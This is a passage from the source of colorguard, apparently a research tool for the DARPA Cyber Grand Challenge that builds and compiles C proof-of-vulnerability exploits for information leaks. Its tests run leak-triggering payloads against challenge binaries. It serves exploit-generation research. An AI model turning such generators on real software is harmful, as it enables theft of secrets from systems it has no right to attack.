received_data[{flag_byte_1}]; 240 | hex_flag[1] = received_data[{flag_byte_2}]; 241 | hex_flag[2] = received_data[{flag_byte_3}]; 242 | hex_flag[3] = received_data[{flag_byte_4}]; 243 | hex_flag[4] = received_data[{flag_byte_5}]; 244 | hex_flag[5] = received_data[{flag_byte_6}]; 245 | hex_flag[6] = received_data[{flag_byte_7}]; 246 | hex_flag[7] = received_data[{flag_byte_8}]; 247 | 248 | 249 | char flag[4]; 250 | from_hex(flag, hex_flag); 251 | 252 | type2_submit((unsigned char *)flag, t2vals.read_size); 253 | 254 | return 0; 255 | } 256 | 257 | int main(void) { 258 | /* align the stack so that boolector can work in all circumstances */ 259 | asm(\"and $0xfffffff0, %esp\\n\"); 260 | 261 | /* terminate, stack hasn't been fixed up */ 262 | _terminate(do_pov()); 263 | } 264 | 265 | """ 266 | -------------------------------------------------------------------------------- /colorguard/pov/colorguard_naive_atoi_pov.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import compilerex 3 | from .fake_crash import FakeCrash 4 | from rex.exploit.cgc import CGCExploit 5 | from .c_templates import naive_atoi_c_template 6 | 7 | import logging 8 | 9 | l = logging.getLogger("colorguard.pov.ColorguardNaiveHexExploit") 10 | 11 | class ColorguardNaiveAtoiExploit(CGCExploit): 12 | """ 13 | A Type2 exploit created using the Naive approach. 14 | """ 15 | 16 | def __init__(self, binary, payload, leak_start): 17 | """ 18 | :param binary: path to binary 19 | :param payload: string which causes the leak when used as input to the binary 20 | :param stdout_len: length of stdout 21 | :param leaked_bytes: list of indices of the stdout which leaked 22 | """ 23 | # fake crash object 24 | crash = FakeCrash(binary, angr.Project(binary).factory.entry_state()) 25 | super(ColorguardNaiveAtoiExploit, self).__init__(crash, cgc_type=2, bypasses_nx=True, bypasses_aslr=True) 26 | 27 | self.binary = binary 28 | self.payload = payload 29 | self._payload_len = len(payload) 30 | self.method_name = 'circumstantial' 31 | self._recv_buf_len = leak_start+13 32 | self._leak_start = leak_start 33 | 34 | def dump_c(self, filename=None): 35 | """ 36 | Creates a simple C file to do the Type 2 exploit 37 | :return: the C code 38 | """ 39 | 40 | encoded_payload = "" 41 | for c in self.payload: 42 | encoded_payload += "\\x%02x" % c 43 | 44 | fmt_args = dict() 45 | fmt_args["raw_payload"] = encoded_payload 46 | fmt_args["payload_len"] = hex(self._payload_len) 47 | fmt_args["recv_buf_len"] = hex(self._recv_buf_len) 48 | for i in range(11): 49 | fmt_args["flag_byte_%d" % (i+1)] = hex(self._leak_start+i) 50 | 51 | c_code = naive_atoi_c_template 52 | for k, v in fmt_args.items(): 53 | c_code = c_code.replace("{%s}" % k, v) 54 | 55 | if filename is not None: 56 | with open(filename, 'w') as f: 57 | f.write(c_code) 58 | else: 59 | return c_code 60 | 61 | def dump_python(self, filename=None): 62 | raise NotImplementedError 63 | 64 | def dump_binary(self, filename=None): 65 | c_code = self.dump_c() 66 | compiled_result = compilerex.compile_from_string(c_code, 67 | filename=filename) 68 | 69 | if filename: 70 | return None 71 | 72 | return compiled_result 73 | -------------------------------------------------------------------------------- /colorguard/pov/colorguard_naive_hex_pov.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import compilerex 3 | from .fake_crash import FakeCrash 4 | from rex.exploit.cgc import CGCExploit 5 | from .c_templates import naive_hex_c_template 6 | 7 | import logging 8 | 9 | l = logging.getLogger("colorguard.pov.ColorguardNaiveHexExploit") 10 | 11 | class ColorguardNaiveHexExploit(CGCExploit): 12 | """ 13 | A Type2 exploit created using the Naive approach. 14 | """ 15 | 16 | def __init__(self, binary, payload, stdout_len, leaked_bytes): 17 | """ 18 | :param binary: path to binary 19 | :param payload: string which causes the leak when used as input to the binary 20 | :param stdout_len: length of stdout 21 | :param leaked_bytes: list of indices of the stdout which leaked 22 | """ 23 | # fake crash object 24 | crash = FakeCrash(binary, angr.Project(binary).factory.entry_state()) 25 | super(ColorguardNaiveHexExploit, self).__init__(crash, cgc_type=2, bypasses_nx=True, bypasses_aslr=True) 26 | 27 | self.binary = binary 28 | self.payload = payload 29 | self._payload_len = len(payload) 30 | self.method_name = 'circumstantial' 31 | self._recv_buf_len = stdout_len 32 | 33 | self._flag_byte_1 = leaked_bytes[0] 34 | self._flag_byte_2 = leaked_bytes[1] 35 | self._flag_byte_3 = leaked_bytes[2] 36 | self._flag_byte_4 = leaked_bytes[3] 37 | self._flag_byte_5 = leaked_bytes[4] 38 | self._flag_byte_6 = leaked_bytes[5] 39 | self._flag_byte_7 = leaked_bytes[6] 40 | self._flag_byte_8 = leaked_bytes[7] 41 | 42 | def dump_c(self, filename=None): 43 | """ 44 | Creates a simple C file to do the Type 2 exploit 45 | :return: the C code 46 | """ 47 | 48 | encoded_payload = "" 49 | for c in self.payload: 50 | encoded_payload += "\\x%02x" % c 51 | 52 | fmt_args = dict() 53 | fmt_args["raw_payload"] = encoded_payload 54 | fmt_args["payload_len"] = hex(self._payload_len) 55 | fmt_args["recv_buf_len"] = hex(self._recv_buf_len) 56 | fmt_args["flag_byte_1"] = hex(self._flag_byte_1) 57 | fmt_args["flag_byte_2"] = hex(self._flag_byte_2) 58 | fmt_args["flag_byte_3"] = hex(self._flag_byte_3) 59 | fmt_args["flag_byte_4"] = hex(self._flag_byte_4) 60 | fmt_args["flag_byte_5"] = hex(self._flag_byte_5) 61 | fmt_args["flag_byte_6"] = hex(self._flag_byte_6) 62 | fmt_args["flag_byte_7"] = hex(self._flag_byte_7) 63 | fmt_args["flag_byte_8"] = hex(self._flag_byte_8) 64 | 65 | c_code = naive_hex_c_template 66 | for k, v in fmt_args.items(): 67 | c_code = c_code.replace("{%s}" % k, v) 68 | 69 | if filename is not None: 70 | with open(filename, 'w') as f: 71 | f.write(c_code) 72 | else: 73 | return c_code 74 | 75 | def dump_python(self, filename=None): 76 | raise NotImplementedError 77 | 78 | def dump_binary(self, filename=None): 79 | c_code = self.dump_c() 80 | compiled_result = compilerex.compile_from_string(c_code, 81 | filename=filename) 82 | 83 | if filename: 84 | return None 85 | 86 | return compiled_result 87 | -------------------------------------------------------------------------------- /colorguard/pov/colorguard_naive_pov.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import compilerex 3 | from .fake_crash import FakeCrash 4 | from rex.exploit.cgc import CGCExploit 5 | from .c_templates import naive_c_template 6 | 7 | import logging 8 | 9 | l = logging.getLogger("colorguard.pov.ColorguardNaiveExploit") 10 | 11 | class ColorguardNaiveExploit(CGCExploit): 12 | """ 13 | A Type2 exploit created using the Naive approach. 14 | """ 15 | 16 | def __init__(self, binary, payload, stdout_len, leaked_bytes): 17 | """ 18 | :param binary: path to binary 19 | :param payload: string which causes the leak when used as input to the binary 20 | :param stdout_len: length of stdout 21 | :param leaked_bytes: list of indices of the stdout which leaked 22 | """ 23 | # fake crash object 24 | crash = FakeCrash(binary, angr.Project(binary).factory.entry_state()) 25 | super(ColorguardNaiveExploit, self).__init__(crash, cgc_type=2, bypasses_nx=True, bypasses_aslr=True) 26 | 27 | self.binary = binary 28 | self.payload = payload 29 | self._payload_len = len(payload) 30 | self.method_name = 'circumstantial' 31 | self._recv_buf_len = stdout_len 32 | 33 | self._flag_byte_1 = leaked_bytes[0] 34 | self._flag_byte_2 = leaked_bytes[1] 35 | self._flag_byte_3 = leaked_bytes[2] 36 | self._flag_byte_4 = leaked_bytes[3] 37 | 38 | def dump_c(self, filename=None): 39 | """ 40 | Creates a simple C file to do the Type 2 exploit 41 | :return: the C code 42 | """ 43 | 44 | encoded_payload = "" 45 | for c in self.payload: 46 | encoded_payload += "\\x%02x" % c 47 | 48 | fmt_args = dict() 49 | fmt_args["raw_payload"] = encoded_payload 50 | fmt_args["payload_len"] = hex(self._payload_len) 51 | fmt_args["recv_buf_len"] = hex(self._recv_buf_len) 52 | fmt_args["flag_byte_1"] = hex(self._flag_byte_1) 53 | fmt_args["flag_byte_2"] = hex(self._flag_byte_2) 54 | fmt_args["flag_byte_3"] = hex(self._flag_byte_3) 55 | fmt_args["flag_byte_4"] = hex(self._flag_byte_4) 56 | 57 | c_code = naive_c_template 58 | for k, v in fmt_args.items(): 59 | c_code = c_code.replace("{%s}" % k, v) 60 | 61 | if filename is not None: 62 | with open(filename, 'w') as f: 63 | f.write(c_code) 64 | else: 65 | return c_code 66 | 67 | def dump_python(self, filename=None): 68 | raise NotImplementedError 69 | 70 | def dump_binary(self, filename=None): 71 | c_code = self.dump_c() 72 | compiled_result = compilerex.compile_from_string(c_code, 73 | filename=filename) 74 | 75 | if filename: 76 | return None 77 | 78 | return compiled_result 79 | -------------------------------------------------------------------------------- /colorguard/pov/colorguard_pov.py: -------------------------------------------------------------------------------- 1 | import compilerex 2 | from .fake_crash import FakeCrash 3 | from rex.exploit.cgc import CGCExploit 4 | from .c_templates import colorguard_c_template 5 | 6 | import logging 7 | 8 | l = logging.getLogger("colorguard.pov.ColorguardExploit") 9 | 10 | class ColorguardExploit(CGCExploit): 11 | """ 12 | A Type2 exploit created using the Colorgaurd approach. 13 | """ 14 | 15 | def __init__(self, binary, state, input_string, harvester, leak_ast, output_var, leaked_bytes): 16 | """ 17 | :param binary: path to binary 18 | :param state: a state after the trace 19 | :param input_string: string which causes the leak when used as input to the binary 20 | :param harvester: AST harvester object 21 | :param leak_ast: the ast that is leaked 22 | :param output_var: clarpiy output variable 23 | :param leaked_bytes: flag bytes which were leaked 24 | """ 25 | # fake crash object 26 | crash = FakeCrash(binary, state) 27 | super(ColorguardExploit, self).__init__(crash, cgc_type=2, bypasses_nx=True, bypasses_aslr=True) 28 | 29 | self.binary = binary 30 | self.input_string = input_string 31 | self.harvester = harvester 32 | self.output_var = output_var 33 | self.method_name = 'circumstantial' 34 | 35 | self._arg_vars = [output_var] 36 | self._mem = leak_ast 37 | 38 | self._flag_var_names = [] 39 | for i in leaked_bytes: 40 | self._flag_var_names.append(list(harvester.flag_bytes[i].variables)[0]) 41 | 42 | self._generate_formula(extra_vars_to_solve=self._flag_var_names) 43 | 44 | self._byte_getting_code = self._generate_byte_getting_code() 45 | 46 | self._flag_byte_0 = list(harvester.flag_bytes[leaked_bytes[0]].variables)[0] 47 | self._flag_byte_1 = list(harvester.flag_bytes[leaked_bytes[1]].variables)[0] 48 | self._flag_byte_2 = list(harvester.flag_bytes[leaked_bytes[2]].variables)[0] 49 | self._flag_byte_3 = list(harvester.flag_bytes[leaked_bytes[3]].variables)[0] 50 | 51 | def _generate_byte_getting_code(self): 52 | 53 | byte_getters = [ ] 54 | for b in sorted(self.harvester.output_bytes): 55 | byte_getters.append("append_byte_to_output(btor, %d);" % b) 56 | 57 | return "\n".join(byte_getters) 58 | 59 | def dump_c(self, filename=None): 60 | """ 61 | Creates a simple C file to do the Type 2 exploit 62 | :return: the C code 63 | """ 64 | 65 | encoded_payload = "" 66 | for c in self.input_string: 67 | encoded_payload += "\\x%02x" % c 68 | 69 | fmt_args = dict() 70 | fmt_args["raw_payload"] = encoded_payload 71 | fmt_args["payload_len"] = hex(self._payload_len) 72 | fmt_args["payloadsize"] = hex(len(self.input_string)) 73 | fmt_args["output_size"] = hex(len(self.harvester.output_bytes)*8) 74 | fmt_args["solver_code"] = self._solver_code 75 | fmt_args["recv_buf_len"] = hex(self._recv_buf_len) 76 | fmt_args["byte_getting_code"] = self._byte_getting_code 77 | fmt_args["btor_name"] = self._formulas[-1].name 78 | fmt_args["cgc_flag0_idx"] = str(self._formulas[-1].name_to_id[self._flag_byte_0]) 79 | fmt_args["cgc_flag1_idx"] = str(self._formulas[-1].name_to_id[self._flag_byte_1]) 80 | fmt_args["cgc_flag2_idx"] = str(self._formulas[-1].name_to_id[self._flag_byte_2]) 81 | fmt_args["cgc_flag3_idx"] = str(self._formulas[-1].name_to_id[self._flag_byte_3]) 82 | 83 | # int stuff 84 | fmt_args["payload_int_start_locations"] = self._make_c_int_arr([x.start for x in self._sorted_stdin_int_infos]) 85 | fmt_args["payload_int_bases"] = self._make_c_int_arr([x.base for x in self._sorted_stdin_int_infos]) 86 | fmt_args["payload_int_expected_lens"] = self._make_c_int_arr([x.size for x in self._sorted_stdin_int_infos]) 87 | fmt_args["recv_int_start_locations"] = self._make_c_int_arr([x.start for x in self._sorted_stdout_int_infos]) 88 | fmt_args["recv_int_bases"] = self._make_c_int_arr([x.base for x in self._sorted_stdout_int_infos]) 89 | fmt_args["recv_int_expected_lens"] = self._make_c_int_arr([x.size for x in self._sorted_stdout_int_infos]) 90 | fmt_args["num_payload_ints"] = str(len(self._sorted_stdin_int_infos)) 91 | fmt_args["num_recv_ints"] = str(len(self._sorted_stdout_int_infos)) 92 | 93 | 94 | c_code = colorguard_c_template 95 | for k, v in fmt_args.items(): 96 | c_code = c_code.replace("{%s}" % k, v) 97 | 98 | if filename is not None: 99 | with open(filename, 'w') as f: 100 | f.write(c_code) 101 | else: 102 | return c_code 103 | 104 | def dump_python(self, filename=None): 105 | raise NotImplementedError 106 | 107 | def dump_binary(self, filename=None): 108 | c_code = self.dump_c() 109 | compiled_result = compilerex.compile_from_string(c_code, 110 | filename=filename) 111 | 112 | if filename: 113 | return None 114 | 115 | return compiled_result 116 | -------------------------------------------------------------------------------- /colorguard/pov/fake_crash.py: -------------------------------------------------------------------------------- 1 | import angr 2 | 3 | class FakeCrash(object): 4 | 5 | def __init__(self, binary, state): 6 | self.binary = binary 7 | self.state = state 8 | self.project = angr.Project(self.binary) 9 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | from setuptools import find_packages, setup 4 | 5 | setup( 6 | name='colorguard', 7 | version='0.01', 8 | packages=find_packages(), 9 | install_requires=[ 10 | 'rex', 11 | 'povsim', 12 | 'tracer', 13 | 'angr' 14 | ], 15 | ) 16 | -------------------------------------------------------------------------------- /tests/test_chall_resp.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import colorguard 3 | 4 | import os 5 | 6 | bin_location = str(os.path.join(os.path.dirname(os.path.realpath(__file__)), '../../binaries')) 7 | 8 | def test_simple_chall_resp(): 9 | cg = colorguard.ColorGuard(os.path.join(bin_location, "tests/cgc/CUSTM_00022"), b'\xa0\x9d\x9a\x35AA') 10 | 11 | assert cg.causes_leak() 12 | pov = cg.attempt_pov() 13 | assert pov.test_binary() 14 | 15 | 16 | def test_fast_avoid_solves(): 17 | cg = colorguard.ColorGuard(os.path.join(bin_location, "tests/cgc/chall_resp_leak2"), b'Zw\xd4V') 18 | 19 | assert cg.causes_leak() 20 | pov = cg.attempt_pov() 21 | assert pov.test_binary() 22 | 23 | def run_all(): 24 | functions = globals() 25 | all_functions = dict(filter((lambda kv: kv[0].startswith('test_')), functions.items())) 26 | for f in sorted(all_functions.keys()): 27 | if hasattr(all_functions[f], '__call__'): 28 | all_functions[f]() 29 | 30 | if __name__ == "__main__": 31 | logging.getLogger("colorguard").setLevel("DEBUG") 32 | logging.getLogger("povsim").setLevel("DEBUG") 33 | logging.getLogger("angr.exploration_techniques.tracer").setLevel("DEBUG") 34 | logging.getLogger("angr.exploration_techniques.crash_monitor").setLevel("DEBUG") 35 | 36 | import sys 37 | if len(sys.argv) > 1: 38 | globals()['test_' + sys.argv[1]]() 39 | else: 40 | run_all() 41 | -------------------------------------------------------------------------------- /tests/test_colorguard.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import colorguard 3 | 4 | import os 5 | 6 | bin_location = str(os.path.join(os.path.dirname(os.path.realpath(__file__)), '../../binaries')) 7 | 8 | def test_simple_leak1(): 9 | """ 10 | Test detection of one of the simplest possible leaks. 11 | """ 12 | 13 | cg = colorguard.ColorGuard(os.path.join(bin_location, 'tests/cgc/simple_leak1'), b'foobar') 14 | 15 | pov = cg.attempt_exploit() 16 | assert pov is not None 17 | assert pov.test_binary() 18 | 19 | def test_simple_leak2(): 20 | """ 21 | Test detection of a leak where multiple arithmetic operations are performed on flag page data. 22 | """ 23 | 24 | cg = colorguard.ColorGuard(os.path.join(bin_location, 'tests/cgc/simple_leak2'), b'foobar') 25 | 26 | pov = cg.attempt_exploit() 27 | assert pov is not None 28 | assert pov.test_binary() 29 | 30 | def test_simple_leak3(): 31 | """ 32 | Test detection of a leak where bytes leaked through different calls to transmit. 33 | """ 34 | 35 | cg = colorguard.ColorGuard(os.path.join(bin_location, 'tests/cgc/simple_leak3'), b'foobar') 36 | 37 | pov = cg.attempt_exploit() 38 | assert pov is not None 39 | assert pov.test_binary() 40 | 41 | def test_simple_leak4(): 42 | """ 43 | Test detection of a leak where bytes leaked through different calls to transmit and operations are done to those bytes. 44 | """ 45 | 46 | cg = colorguard.ColorGuard(os.path.join(bin_location, 'tests/cgc/simple_leak4'), b'foobar') 47 | 48 | pov = cg.attempt_exploit() 49 | assert pov is not None 50 | assert pov.test_binary() 51 | 52 | def test_simple_leak5(): 53 | """ 54 | Test detection of a leak where individual bits of the flag are leaked out 55 | """ 56 | 57 | cg = colorguard.ColorGuard(os.path.join(bin_location, 'tests/cgc/simple_leak5'), b'\x00' * 0x20) 58 | 59 | pov = cg.attempt_exploit() 60 | assert pov is not None 61 | assert pov.test_binary() 62 | 63 | def test_choose_leak(): 64 | """ 65 | Test colorguard choosing the correct flag page bytes must be reversed. 66 | """ 67 | 68 | cg = colorguard.ColorGuard(os.path.join(bin_location, 'tests/cgc/choose_leak'), b'foobar') 69 | 70 | pov = cg.attempt_exploit() 71 | assert pov is not None 72 | assert pov.test_binary() 73 | 74 | def test_big_leak(): 75 | """ 76 | Test detection of a leak where 0x8000 concrete bytes are written to stdout before a the secret is leaked. 77 | This used to cause a bug because of limits placed on how much data could be loaded from a SymbolicMemoryRegion. 78 | """ 79 | 80 | cg = colorguard.ColorGuard(os.path.join(bin_location, 'tests/cgc/big_leak'), b'foobar') 81 | 82 | pov = cg.attempt_exploit() 83 | assert pov is not None 84 | assert pov.test_binary() 85 | 86 | def test_double_leak(): 87 | """ 88 | Test detection of a leak where the same bytes are leaked twice. Once they are leaked in a reversable operation, 89 | the second time they are leaked the operation is not reversible. 90 | This should test the ability for colorguard to only choose attempting to reverse the the operation which we know 91 | is reversable. 92 | """ 93 | 94 | payload = bytes.fromhex("320a310a0100000005000000330a330a340a") 95 | cg = colorguard.ColorGuard(os.path.join(bin_location, 'tests/cgc/PIZZA_00001'), payload) 96 | 97 | pov = cg.attempt_exploit() 98 | assert pov is not None 99 | assert pov.test_binary() 100 | 101 | def test_caching(): 102 | """ 103 | Test the at-receive local caching. 104 | """ 105 | 106 | payload = bytes.fromhex("320a310a0100000005000000330a330a340a") 107 | cg1 = colorguard.ColorGuard(os.path.join(bin_location, 'tests/cgc/PIZZA_00001'), payload) 108 | 109 | # of course run the thing and makes sure it works 110 | assert cg1.causes_leak() 111 | 112 | cg2 = colorguard.ColorGuard(os.path.join(bin_location, 'tests/cgc/PIZZA_00001'), payload) 113 | 114 | # and insure the cache-loaded version still works 115 | assert cg2.causes_leak() 116 | pov = cg2.attempt_pov() 117 | assert pov.test_binary() 118 | 119 | def test_leak_no_exit(): 120 | """ 121 | Test the handling of leaks where the payload does not cause an exit of the binary. 122 | """ 123 | 124 | # this payload cause a leak but the exit condition in QEMU does not represent the 125 | # the PoV's running environment accurately 126 | payload = bytes.fromhex("320a330a") 127 | cg = colorguard.ColorGuard(os.path.join(bin_location, 'tests/cgc/PIZZA_00001'), payload) 128 | 129 | pov = cg.attempt_exploit() 130 | assert pov is not None 131 | assert pov.test_binary() 132 | 133 | def test_concrete_difference_filtering(): 134 | """ 135 | Test the ability to filter inputs which cause no output difference when ran concretely. 136 | """ 137 | 138 | payload = bytes.fromhex("313131313131313131313131313131310a") 139 | cg = colorguard.ColorGuard(os.path.join(bin_location, "tests/cgc/CROMU_00070"), payload) 140 | 141 | assert not cg.causes_leak() 142 | assert cg._no_concrete_difference 143 | 144 | def test_dumb_leaking(): 145 | """ 146 | Test the ability to quickly exploit really simple leaks. 147 | """ 148 | 149 | cg = colorguard.ColorGuard(os.path.join(bin_location, "tests/cgc/random_flag"), b"foobar") 150 | 151 | assert cg.causes_dumb_leak() 152 | pov = cg.attempt_dumb_pov() 153 | assert pov.test_binary() 154 | 155 | def test_hex_leaking(): 156 | """ 157 | Test the ability to exploit a dumb leak of hex encoded flag data. 158 | """ 159 | 160 | cg = colorguard.ColorGuard(os.path.join(bin_location, "tests/cgc/hex_leak"), b"foobar") 161 | 162 | assert cg.causes_dumb_leak() 163 | pov = cg.attempt_exploit() 164 | assert pov.test_binary() 165 | 166 | def test_atoi_leaking(): 167 | """ 168 | Test the ability to exploit a dumb leak of hex encoded flag data. 169 | """ 170 | 171 | cg = colorguard.ColorGuard(os.path.join(bin_location, "tests/cgc/atoi_leak"), b"foobar") 172 | 173 | assert cg.causes_dumb_leak() 174 | pov = cg.attempt_exploit() 175 | assert pov.test_binary() 176 | 177 | def run_all(): 178 | functions = globals() 179 | all_functions = dict(filter((lambda kv: kv[0].startswith('test_')), functions.items())) 180 | for f in sorted(all_functions.keys()): 181 | if hasattr(all_functions[f], '__call__'): 182 | print(f) 183 | all_functions[f]() 184 | 185 | if __name__ == "__main__": 186 | logging.getLogger("colorguard").setLevel("DEBUG") 187 | logging.getLogger("povsim").setLevel("DEBUG") 188 | 189 | import sys 190 | if len(sys.argv) > 1: 191 | globals()['test_' + sys.argv[1]]() 192 | else: 193 | run_all() 194 | -------------------------------------------------------------------------------- /tests/test_cromu70_caching.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import colorguard 3 | 4 | import os 5 | 6 | bin_location = str(os.path.join(os.path.dirname(os.path.realpath(__file__)), '../../binaries')) 7 | 8 | def test_cromu_00070_caching(): 9 | # Test exploitation of CROMU_00070 given an input which causes a leak. Then test that we can do it again restoring 10 | # from the cache. 11 | 12 | for _ in range(2): 13 | payload = bytes.fromhex("06000006020a00000000000000000000000c030c00000100e1f505000000000000eb") 14 | cg = colorguard.ColorGuard(os.path.join(bin_location, "tests/cgc/CROMU_00070"), payload) 15 | 16 | pov = cg.attempt_exploit() 17 | assert pov is not None 18 | assert pov.test_binary() 19 | 20 | test_cromu_00070_caching.speed = 'slow' 21 | 22 | def run_all(): 23 | functions = globals() 24 | all_functions = dict(filter((lambda kv: kv[0].startswith('test_')), functions.items())) 25 | for f in sorted(all_functions.keys()): 26 | if hasattr(all_functions[f], '__call__'): 27 | all_functions[f]() 28 | 29 | if __name__ == "__main__": 30 | logging.getLogger("colorguard").setLevel("DEBUG") 31 | logging.getLogger("povsim").setLevel("DEBUG") 32 | 33 | import sys 34 | if len(sys.argv) > 1: 35 | globals()['test_' + sys.argv[1]]() 36 | else: 37 | run_all() 38 | --------------------------------------------------------------------------------